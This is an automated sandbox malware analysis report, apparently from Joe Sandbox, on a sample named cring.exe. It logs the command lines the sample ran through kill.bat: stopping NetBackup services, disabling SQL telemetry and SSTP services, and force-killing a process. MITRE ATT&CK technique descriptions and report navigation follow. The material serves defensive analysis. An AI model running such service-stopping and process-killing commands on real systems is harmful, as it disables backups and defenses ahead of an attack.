Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\user\Desktop\kill.bat' 'C:\Users\user\Desktop\cring.exe''
Imagebase:	0x7ff7180e0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	04:54:16
Start date:	22/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 stop BMR Boot Service /y
Imagebase:	0x7ff7b45f0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	04:54:17
Start date:	22/12/2020
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
Imagebase:	0x7ff7b45f0000
File size:	175104 bytes
MD5 hash:	AF569DE92AB6C1B9C681AF1E799F9983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	04:54:18
Start date:	22/12/2020
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc config SQLTELEMETRY$ECWDB2 start= disabled
Imagebase:	0x7ff64c7e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	04:54:19
Start date:	22/12/2020
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc config SstpSvc start= disabled
Imagebase:	0x7ff64c7e0000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	04:54:20
Start date:	22/12/2020
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /IM mydesktopqos.exe /F
Imagebase:	0x7ff7460d0000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report cring.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: cring.exe PID: 4532 Parent PID: 5828

General

File Activities

File Opened

File Created

File Written

File Read

File Attributes Queried

Directory Queried

Volume Information Queried